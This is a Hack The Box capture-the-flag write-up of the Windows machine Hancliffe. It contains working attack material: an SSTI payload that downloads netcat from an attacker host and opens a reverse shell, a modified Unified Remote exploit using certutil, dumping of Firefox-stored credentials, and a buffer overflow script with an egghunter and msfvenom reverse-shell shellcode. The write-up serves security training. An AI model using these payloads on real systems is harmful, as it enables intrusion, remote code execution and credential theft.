Hack The Box - Hancliff

00_info_card

Hancliffe is a hard rated machine on HackTheBox created by Revolt. For the user part we will abuse a path normalisation vulnerability and a CVE in nuxeo to achieve RCE and a foothold on the machine. On the machine the running Unified Remote 3 version has another know vulnerability which gives us a shell as clara. For the root part we will find credentials for a password manager in clara’s firefox data. This let’s us login via PSRemote as the development user, who has access to a directory with an application running as administrator. This application has a buffer overflow vulnerability which we can abuse to achieve a reverse shell as administrator on the machine.

User

Nmap

As usual we start our enumeration of with a nmap scan against all ports followed by a script and version detection scan against the open ones to get an initial overview of the attack surface.

All ports

1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.95.247
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-10 16:43 GMT
Nmap scan report for hancliffe.htb (10.129.95.247)
Host is up (0.066s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
8000/tcp open  http-alt
9999/tcp open  abyss

Nmap done: 1 IP address (1 host up) scanned in 290.27 seconds

Scrip and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ sudo nmap -p80,8000,9999 -sC -sV 10.129.95.247
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-10 16:49 GMT
Nmap scan report for hancliffe.htb (10.129.95.247)
Host is up (0.027s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx 1.21.0
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.21.0
8000/tcp open  http    nginx 1.21.0
|_http-title: HashPass | Open Source Stateless Password Manager
|_http-server-header: nginx/1.21.0
9999/tcp open  abyss?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBPr
ogNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
|     Welcome Brankas Application.
|     Username: Password:
|   NULL:
|     Welcome Brankas Application.
|_    Username:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.92%I=7%D=10/10%Time=61631994%P=x86_64-pc-linux-gnu%r(N
...[snip]...
F:sword:\x20")%r(NotesRPC,31,"Welcome\x20Brankas\x20Application\.\nUserna
SF:me:\x20Password:\x20");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 157.03 seconds

Nuxeo

From the open ports the web ports seem promising so we start there. Going over to port 80 we see the default nginx hosting page.

01_nginx_home

On port 8000 there is an installation of a password manager running which doesn’t seem of much use just yet.

02_hashpass_home

Running a gobuster scan on the application on port 80 we can identify a maintenance directory which get’s redirected to /nuxeo/Maintenance/.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -u http://hancliffe.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://hancliffe.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/10/10 17:28:57 Starting gobuster in directory enumeration mode
===============================================================
/.                    (Status: 200) [Size: 612]
/maintenance          (Status: 302) [Size: 0] [--> /nuxeo/Maintenance/]
/con                  (Status: 500) [Size: 494]
/nul                  (Status: 500) [Size: 494]

Looking for recent vulnerabilities in nuxeo we find CVE-2018-16341. Going over to /maintenance it just displays a we'll be back soon page.

03_nginx_maintenance

The application does howerver perform a dangerous path normalisation which let’s us access the directory one path up leading to access to the login.jsp page mentioned in the PoC exploit of the CVE. This page also displays the running version of nuxeo which seems to be promising for the vulnerability to be present.

04_nuxeo_login

Testing for the SSTI with a simple payload we can see that our code gets evaluated, confirming our suspicion.

06_nuxeo_ssti_poc

Following the PoC of the exploit we can build a payload adding an additional parameter in the exec part. This let’s us move our complete payload to the end of the request.

1
/maintenance/..;/login.jsp/pw${''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(param.x)}.xhtml?x=powershell.exe+iwr+http://10.10.14.74/nc64.exe+-o+C:/windows/temp/c.exe;C:/windows/temp/c.exe+-e+powershell+10.10.14.74+7575

We start a python webserver to host our netcat binary and listen on the port we want to recieve the reverse shell.

1
2
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
$ rlwrap nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

Now we can send the request in burp, url encoding the whole SSTI part of the payload to safely send bad characters.

07_nuxeo_burp_rev

We get a hit on our web server for the nc64.exe binary and almost instantly after a reverse shell on our listener as svc_account

1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.95.247 - - [10/Oct/2021 19:49:06] "GET /nc64.exe HTTP/1.1" 200 -
10.129.95.247 - - [10/Oct/2021 19:50:10] "GET /nc64.exe HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
$ rlwrap nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.95.247.
Ncat: Connection from 10.129.95.247:49762.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Nuxeo > whoami
hancliffe\svc_account

Unified Remote 3

Looking for unusual installed programs we find Unified Remote 3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\Nuxeo > ls '\Program Files (x86)\'

    Directory: C:\Program Files (x86)


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          6/3/2021   7:11 AM                Common Files
d-----         10/3/2021  11:08 PM                Internet Explorer
d-----          6/3/2021   8:09 PM                Microsoft
d-----         12/7/2019   6:48 AM                Microsoft.NET
d-----         6/26/2021  10:15 PM                Mozilla Maintenance Service
d-----         6/12/2021   2:51 AM                MSBuild
d-----         6/12/2021   2:51 AM                Reference Assemblies
d-----         6/12/2021  12:21 AM                Unified Remote 3
d-----          4/9/2021   6:48 AM                Windows Defender
d-----         7/18/2021  12:20 AM                Windows Mail
d-----         12/7/2019   6:44 AM                Windows NT
d-----          4/9/2021   6:48 AM                Windows Photo Viewer
d-----         12/7/2019   1:25 AM                WindowsPowerShell

Checking google for known vulnerabilities we find this PoC, which seems promising to achieve RCE. A quick check with netstat shows the port mentioned is indeed listening on the machine.

1
2
3
4
PS C:\Nuxeo> netstat -anp tcp | sls -pattern "9512"

  TCP    0.0.0.0:9512           0.0.0.0:0              LISTENING

To access it from the outside we upload chisel to the machine and forward the traffic with its socks proxy.

1
PS C:\Nuxeo> iwr http://10.10.14.74/chisel.exe -o C:\windows\temp\chisel.exe
1
2
3
4
$ chisel server -p 9000 -reverse
2021/10/10 20:13:55 server: Reverse tunnelling enabled
2021/10/10 20:13:55 server: Fingerprint R4SdYmLJLpL1Y7N1fmNYM4xpjHQaMOKRK9XJ5WHk+eY=
2021/10/10 20:13:55 server: Listening on http://0.0.0.0:9000
1
PS C:\Nuxeo> start-process -filepath C:/windows/temp/chisel.exe -argumentlist "client","10.10.14.74:9000","R:socks"
1
2
3
4
5
6
$ chisel server -p 9000 -reverse
2021/10/10 20:13:55 server: Reverse tunnelling enabled
2021/10/10 20:13:55 server: Fingerprint R4SdYmLJLpL1Y7N1fmNYM4xpjHQaMOKRK9XJ5WHk+eY=
2021/10/10 20:13:55 server: Listening on http://0.0.0.0:9000
2021/10/10 20:14:13 server: session#1: Client version (1.7.6) differs from server version (0.0.0-src)
2021/10/10 20:14:13 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

We also modify the main function of the PoC specifying arguments to the downloaded executable, which will be netcat in this case.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
...[snip]...

def main():
        target.connect((rhost,port))
        sleep(0.5)
        print("[+] Connecting to target...")
        target.sendto(open,(rhost,port))        # Initialize Connection to Unified
        sleep(0.02)
        target.sendto(open_fin,(rhost,port))    # Finish Initializing Connection
        print("[+] Popping Start Menu")
        sleep(0.02)
        SendWin()
        sleep(0.3)
        print("[+] Opening CMD")
        SendString("cmd.exe", rhost)
        sleep(0.3)
        SendReturn()
        sleep(0.3)
        print("[+] *Super Fast Hacker Typing*")
        SendString("certutil.exe -f -urlcache http://" + lhost + "/" + payload + " C:\Windows\Temp\" + payload, rhost) # Retrieve HTTP hosted payload
        sleep(0.3)
        print("[+] Downloading Payload")
        SendReturn()
        sleep(3)
        SendString("C:\Windows\Temp\" + payload + " -e powershell 10.10.14.74 7575", rhost) # Execute Payload
        sleep(0.3)
        SendReturn()
        print("[+] Done! Check listener?")
        target.close()
		
...[snip]...

We serve the binary with a python web server again and start a listener on the port we specified.

1
2
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
$ rlwrap nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

Running the exploit with proxychains we get a hit on our web server and shortly afterwards a reverse shell back on our listener as clara.

1
2
3
4
5
6
7
8
9
$ proxychains python2 49587.py hancliffe.htb 10.10.14.74 nc64.exe
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[+] Connecting to target...
[+] Popping Start Menu
[+] Opening CMD
[+] *Super Fast Hacker Typing*
[+] Downloading Payload
[+] Done! Check listener?
1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.95.247 - - [10/Oct/2021 20:28:21] "GET /nc64.exe HTTP/1.1" 200 -
10.129.95.247 - - [10/Oct/2021 20:28:21] "GET /nc64.exe HTTP/1.1" 200 -

As clara we can now pick up the user flag and continue our way to root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ rlwrap nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.95.247.
Ncat: Connection from 10.129.95.247:49840.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\clara> whoami
hancliffe\clara
PS C:\Users\clara> cat \users\clara\desktop\user.txt | measure -c

Lines Words Characters Property
----- ----- ---------- --------
                    32

Root

Firefox decrypt

Looking at clara’s firefox profile we see that the key4.db isn’t empty which looks promising.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
PS C:\Users\clara> ls C:\users\clara\appdata\roaming\mozilla\firefox\profiles\ljftf853.default-release


    Directory: C:\users\clara\appdata\roaming\mozilla\firefox\profiles\ljftf853.default-release


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         6/26/2021  10:17 PM                bookmarkbackups
d-----         6/26/2021  10:18 PM                crashes
d-----         6/26/2021  10:32 PM                datareporting
d-----         6/26/2021  10:29 PM                features
d-----         6/26/2021  10:22 PM                gmp-gmpopenh264
d-----         6/26/2021  10:22 PM                gmp-widevinecdm
d-----         6/26/2021  10:17 PM                minidumps
d-----         6/26/2021  10:32 PM                saved-telemetry-pings
d-----         6/26/2021  10:22 PM                security_state
d-----         6/26/2021  10:32 PM                sessionstore-backups
d-----         6/26/2021  10:17 PM                storage
-a----         6/26/2021  10:29 PM             24 addons.json
-a----         6/26/2021  10:29 PM           4199 addonStartup.json.lz4
-a----         6/26/2021  10:22 PM            858 AlternateServices.txt
-a----         6/26/2021  10:22 PM            216 broadcast-listeners.json
-a----         6/26/2021  10:22 PM         229376 cert9.db
-a----         6/26/2021  10:32 PM             85 cert_override.txt
-a----         6/26/2021  10:17 PM            199 compatibility.ini
-a----         6/26/2021  10:17 PM            939 containers.json
-a----         6/26/2021  10:17 PM         229376 content-prefs.sqlite
-a----         6/26/2021  10:17 PM          98304 cookies.sqlite
-a----         6/26/2021  10:29 PM           1123 extension-preferences.json
-a----         6/26/2021  10:31 PM          38223 extensions.json
-a----         6/26/2021  10:32 PM        5242880 favicons.sqlite
-a----         6/26/2021  10:17 PM         262144 formhistory.sqlite
-a----         6/26/2021  10:17 PM            683 handlers.json
-a----         6/26/2021  10:20 PM         294912 key4.db
-a----         6/26/2021  10:21 PM            674 logins.json
-a----         6/26/2021  10:17 PM              0 parent.lock
-a----         6/26/2021  10:32 PM          98304 permissions.sqlite
-a----         6/26/2021  10:17 PM            505 pkcs11.txt
-a----         6/26/2021  10:32 PM        5242880 places.sqlite
-a----         6/26/2021  10:32 PM          11512 prefs.js
-a----         6/26/2021  10:17 PM            180 search.json.mozlz4
-a----         6/26/2021  10:32 PM            288 sessionCheckpoints.json
-a----         6/26/2021  10:32 PM           2566 sessionstore.jsonlz4
-a----         6/26/2021  10:17 PM             18 shield-preference-experiments.json
-a----         6/26/2021  10:32 PM            730 SiteSecurityServiceState.txt
-a----         6/26/2021  10:32 PM           4096 storage.sqlite
-a----         6/26/2021  10:17 PM             50 times.json
-a----         6/26/2021  10:32 PM          98304 webappsstore.sqlite
-a----         6/26/2021  10:32 PM            220 xulstore.json

To transfer the files we stand up a smb server with impacket and copy logins.json, key4.db, storage.sqlite and places.sqlite to our machine.

1
2
3
4
5
6
7
8
9
$ sudo smbserver.py -smb2support files . -username sm1l3z -password '$V#(NM&cfm#M(a'
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
1
2
3
4
5
6
7
PS C:\Users\clara> net use y: \10.10.14.74\files /user:sm1l3z '$V#(NM&cfm#M(a'
The command completed successfully.

PS C:\Users\clara> cp logins.json y:
PS C:\Users\clara> cp key4.db y:
PS C:\Users\clara> cp storage.sqlite y:
PS C:\Users\clara> cp places.sqlite y:

Now we can use firepwd.py to dump the credentials stored. This reveals what seems to be the master password for the password manager running on port 8000.

1
2
3
4
5
6
7
8
9
$ python firepwd.py -d ../exfil/
globalSalt: b'9a30912b4d63331f8493789d7b0fce68520f9265'
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes
...[snip]...
clearText b'9efbbfd986fd5bef94b032679b7679d09b1f51891601b6e50808080808080808'
decrypting login/password pairs
http://localhost:8000:b'hancliffe.htb',b'#@H@ncLiff3D3velopm3ntM@st3rK3y*!'

With this password we can use the app to retrieve the password of the development user.

08_retrieve_pw

Testing the credentials against winrm we are able to log into the machine.

1
2
3
4
5
6
7
8
9
$ proxychains evil-winrm -u development -p 'AMl.q2DHp?2.C/V0kNFU' -i hancliffe.htb
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\development\Documents>

BOF

We now have access to the C:\DevApp directory on the machine.

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\ > ls \devapp


    Directory: C:\devapp


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/14/2021   5:02 AM          60026 MyFirstApp.exe
-a----         9/14/2021  10:57 AM            636 restart.ps1

The powershell script seems to run and restart MyFirstApp.exe. It also maps the port the app is running on to 9999 which we identified earlier in our nmap scan. Since this command needs administrative access to run we can assume that the binary is running in high integrity context on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
*Evil-WinRM* PS C:\ > cat \devapp\restart.ps1
# Restart app every 3 mins to avoid crashes
while($true) {
  # Delete existing forwards
  cmd /c "netsh interface portproxy delete v4tov4 listenport=9999 listenaddress=0.0.0.0"
  # Spawn app
  $proc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList ("C:\DevApp\MyFirstApp.exe")
  sleep 2
  # Get random port
  $port = (Get-NetTCPConnection -OwningProcess $proc.ProcessId).LocalPort
  # Forward port to 9999
  cmd /c "netsh interface portproxy add v4tov4 listenport=9999 listenaddress=0.0.0.0 connectport=$port connectaddress=127.0.0.1"
  sleep 180
  # Kill and repeat
  taskkill /f /t /im MyFirstApp.exe
}

We transfer the binary over to our machine and open it up in ghidra. We see that it takes input for a username and a password and passes it to the _login function.

09_read_creds

In this function we can identify the username to be alfiansyah. For the password it calls two encryption functions on the input, base64 encodes the result and then compares it to YXlYeDtsbD98eDtsWms5SyU=.

10_login

Looking at the first encryption function it seems to be atbash.

11_atbash

The other encryption function looks like rot47.

12_rot_47

Since both of these encryptions are present in cyberchef we can just use it to decode the base64, decrypt atbash and rot47.

13_cyberchef

Looking further down the application flow in ghidra we see it also reads a FullName and a code. It then calls the _SaveCreds functions on the values it read.

13_save_creds_call

The interesting part here is that the passed arguments can be both 0x50 bytes long but in the _SaveCreds function it calls strcopy on the code parameter which only has a buffer of 50 bytes resulting in a buffer overflow vulnerability.

14_strcopy

To take a close look at the binary we transfer it over to our windows machine and open it in x32dbg. Checking for protections with the ERC plugin using ERC --ProcessInfo we can see that ALSR and NX are disabled.

15_process_info

To exploit this we first need to find the offset we can create a pattern to do this with ERC --pattern c 500. We take this pattern and build a short python script with pwntools to crash the program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context.arch = 'i386'
context.log_level = 'DEBUG'

io = remote('windows', 9868)


io.sendlineafter('Username: ','alfiansyah')
io.sendlineafter('Password: ', 'K3r4j@@nM4j@pAh!T')
io.sendlineafter('FullName: ', 'strcopy good')

pattern  = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac"
pattern += "9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8"
pattern += "Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A"
pattern += "i8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al"
pattern += "7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6"
pattern += "Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"

io.sendlineafter('Input Your Code: ', pattern)

16_pattern_crash

After the crash we can find the offset with ERC --FindNrp. This returns an offset of 66 and also reveals that the start of our input ends up in the eax register.

17_pattern_offset

Since space is limited we cannot place a full payload and just point eip to it. The space in eax however is big enough to place an egghunter there and let it search the actual shellcode passed to the initial 0x400 read for the code. For this we first need to find an instruction to jump to eax to execute our egghunter.

18_jmp_eax

We can find a short egghunter on this blogpost. This egghunter has been created by the mona plugin of immunity debugger for wow64 applications on windows 10(32 bit applications running on a 64 bit OS). The only problem we have to deal with is that the stackpointer needs to be decremented to avoid overwriting our own egghunter. We can use defuse.ca to generate the needed shellcode and place it at the start of our egghunter code. Next we also replace the string the egghunter searches for with w00t.

19_move_sp

Now we have to generate the shellcode for our reverse shell using msfvenom, specifying our ip and the port we want to recieve the reverse shell on.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.74 LPORT=7575 -b "\x00" EXITFUNC=thread -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf =  b""
buf += b"\xbe\xb8\x2f\xbb\x90\xd9\xec\xd9\x74\x24\xf4\x5b\x33"
buf += b"\xc9\xb1\x52\x31\x73\x12\x83\xeb\xfc\x03\xcb\x21\x59"
buf += b"\x65\xd7\xd6\x1f\x86\x27\x27\x40\x0e\xc2\x16\x40\x74"
buf += b"\x87\x09\x70\xfe\xc5\xa5\xfb\x52\xfd\x3e\x89\x7a\xf2"
buf += b"\xf7\x24\x5d\x3d\x07\x14\x9d\x5c\x8b\x67\xf2\xbe\xb2"
buf += b"\xa7\x07\xbf\xf3\xda\xea\xed\xac\x91\x59\x01\xd8\xec"
buf += b"\x61\xaa\x92\xe1\xe1\x4f\x62\x03\xc3\xde\xf8\x5a\xc3"
buf += b"\xe1\x2d\xd7\x4a\xf9\x32\xd2\x05\x72\x80\xa8\x97\x52"
buf += b"\xd8\x51\x3b\x9b\xd4\xa3\x45\xdc\xd3\x5b\x30\x14\x20"
buf += b"\xe1\x43\xe3\x5a\x3d\xc1\xf7\xfd\xb6\x71\xd3\xfc\x1b"
buf += b"\xe7\x90\xf3\xd0\x63\xfe\x17\xe6\xa0\x75\x23\x63\x47"
buf += b"\x59\xa5\x37\x6c\x7d\xed\xec\x0d\x24\x4b\x42\x31\x36"
buf += b"\x34\x3b\x97\x3d\xd9\x28\xaa\x1c\xb6\x9d\x87\x9e\x46"
buf += b"\x8a\x90\xed\x74\x15\x0b\x79\x35\xde\x95\x7e\x3a\xf5"
buf += b"\x62\x10\xc5\xf6\x92\x39\x02\xa2\xc2\x51\xa3\xcb\x88"
buf += b"\xa1\x4c\x1e\x1e\xf1\xe2\xf1\xdf\xa1\x42\xa2\xb7\xab"
buf += b"\x4c\x9d\xa8\xd4\x86\xb6\x43\x2f\x41\xb3\x99\x21\x81"
buf += b"\xab\x9f\x3d\xbc\xbc\x29\xdb\xd4\xd2\x7f\x74\x41\x4a"
buf += b"\xda\x0e\xf0\x93\xf0\x6b\x32\x1f\xf7\x8c\xfd\xe8\x72"
buf += b"\x9e\x6a\x19\xc9\xfc\x3d\x26\xe7\x68\xa1\xb5\x6c\x68"
buf += b"\xac\xa5\x3a\x3f\xf9\x18\x33\xd5\x17\x02\xed\xcb\xe5"
buf += b"\xd2\xd6\x4f\x32\x27\xd8\x4e\xb7\x13\xfe\x40\x01\x9b"
buf += b"\xba\x34\xdd\xca\x14\xe2\x9b\xa4\xd6\x5c\x72\x1a\xb1"
buf += b"\x08\x03\x50\x02\x4e\x0c\xbd\xf4\xae\xbd\x68\x41\xd1"
buf += b"\x72\xfd\x45\xaa\x6e\x9d\xaa\x61\x2b\xbd\x48\xa3\x46"
buf += b"\x56\xd5\x26\xeb\x3b\xe6\x9d\x28\x42\x65\x17\xd1\xb1"
buf += b"\x75\x52\xd4\xfe\x31\x8f\xa4\x6f\xd4\xaf\x1b\x8f\xfd"

The finished exploit script looks like this. We open a connection to the application running on port 90. We then send the username and decrypted password. For the fullname we can pass it anything and the code will be our payload. The payload consists of our egghunter padded with nop instructions up to the eip overwrite. eip contains the jump eax instructions and we add a few bytes afterwards to avoid that the search string ends up on the stack. Since there isn’t enough space our payload would be cut off at this point and if the egghunter finds this string the exploit would fail. After those nop’s we can now place our string to search for followed by the shellcode.

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *


io = remote('hancliffe.htb', 9999)

offset     = 66
jmp_eax    = p32(0x719023b3)


#sub    sp,0x150
egghunter = (b"\x66\x81\xEC\x50\x01\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53"
b"\x53\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08"
b"\x3c\x05\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75"
b"\xd7\xff\xe7")


#msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.74 LPORT=7575 -b "\x00" EXITFUNC=thread -f python

buf =  b""
buf += b"\xbe\xb8\x2f\xbb\x90\xd9\xec\xd9\x74\x24\xf4\x5b\x33"
buf += b"\xc9\xb1\x52\x31\x73\x12\x83\xeb\xfc\x03\xcb\x21\x59"
buf += b"\x65\xd7\xd6\x1f\x86\x27\x27\x40\x0e\xc2\x16\x40\x74"
buf += b"\x87\x09\x70\xfe\xc5\xa5\xfb\x52\xfd\x3e\x89\x7a\xf2"
buf += b"\xf7\x24\x5d\x3d\x07\x14\x9d\x5c\x8b\x67\xf2\xbe\xb2"
buf += b"\xa7\x07\xbf\xf3\xda\xea\xed\xac\x91\x59\x01\xd8\xec"
buf += b"\x61\xaa\x92\xe1\xe1\x4f\x62\x03\xc3\xde\xf8\x5a\xc3"
buf += b"\xe1\x2d\xd7\x4a\xf9\x32\xd2\x05\x72\x80\xa8\x97\x52"
buf += b"\xd8\x51\x3b\x9b\xd4\xa3\x45\xdc\xd3\x5b\x30\x14\x20"
buf += b"\xe1\x43\xe3\x5a\x3d\xc1\xf7\xfd\xb6\x71\xd3\xfc\x1b"
buf += b"\xe7\x90\xf3\xd0\x63\xfe\x17\xe6\xa0\x75\x23\x63\x47"
buf += b"\x59\xa5\x37\x6c\x7d\xed\xec\x0d\x24\x4b\x42\x31\x36"
buf += b"\x34\x3b\x97\x3d\xd9\x28\xaa\x1c\xb6\x9d\x87\x9e\x46"
buf += b"\x8a\x90\xed\x74\x15\x0b\x79\x35\xde\x95\x7e\x3a\xf5"
buf += b"\x62\x10\xc5\xf6\x92\x39\x02\xa2\xc2\x51\xa3\xcb\x88"
buf += b"\xa1\x4c\x1e\x1e\xf1\xe2\xf1\xdf\xa1\x42\xa2\xb7\xab"
buf += b"\x4c\x9d\xa8\xd4\x86\xb6\x43\x2f\x41\xb3\x99\x21\x81"
buf += b"\xab\x9f\x3d\xbc\xbc\x29\xdb\xd4\xd2\x7f\x74\x41\x4a"
buf += b"\xda\x0e\xf0\x93\xf0\x6b\x32\x1f\xf7\x8c\xfd\xe8\x72"
buf += b"\x9e\x6a\x19\xc9\xfc\x3d\x26\xe7\x68\xa1\xb5\x6c\x68"
buf += b"\xac\xa5\x3a\x3f\xf9\x18\x33\xd5\x17\x02\xed\xcb\xe5"
buf += b"\xd2\xd6\x4f\x32\x27\xd8\x4e\xb7\x13\xfe\x40\x01\x9b"
buf += b"\xba\x34\xdd\xca\x14\xe2\x9b\xa4\xd6\x5c\x72\x1a\xb1"
buf += b"\x08\x03\x50\x02\x4e\x0c\xbd\xf4\xae\xbd\x68\x41\xd1"
buf += b"\x72\xfd\x45\xaa\x6e\x9d\xaa\x61\x2b\xbd\x48\xa3\x46"
buf += b"\x56\xd5\x26\xeb\x3b\xe6\x9d\x28\x42\x65\x17\xd1\xb1"
buf += b"\x75\x52\xd4\xfe\x31\x8f\xa4\x6f\xd4\xaf\x1b\x8f\xfd"


payload  = b''
payload += egghunter
payload += b'\x90' * (offset - len(egghunter))
payload += jmp_eax
payload += b'\x90' * 50
payload += b'w00tw00t'
payload += buf


io.sendlineafter('Username: ','alfiansyah')
io.sendlineafter('Password: ', 'K3r4j@@nM4j@pAh!T')
io.sendlineafter('FullName: ', 'what ever')
io.sendlineafter('Input Your Code: ', payload)

We set up a ncat listener on the port we specified and run the exploit script.

1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
1
2
3
$ python exploit.py
[+] Opening connection to hancliffe.htb on port 9999: Done
[*] Closed connection to hancliffe.htb port 999

After a short delay the egghunter finds the string and moves execution to the shellcode resulting in a reverse shell as the administrator user and the root flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.95.247.
Ncat: Connection from 10.129.95.247:57539.
Microsoft Windows [Version 10.0.19043.1266]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

hancliffe\administrator
C:\Windows\system32>powershell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

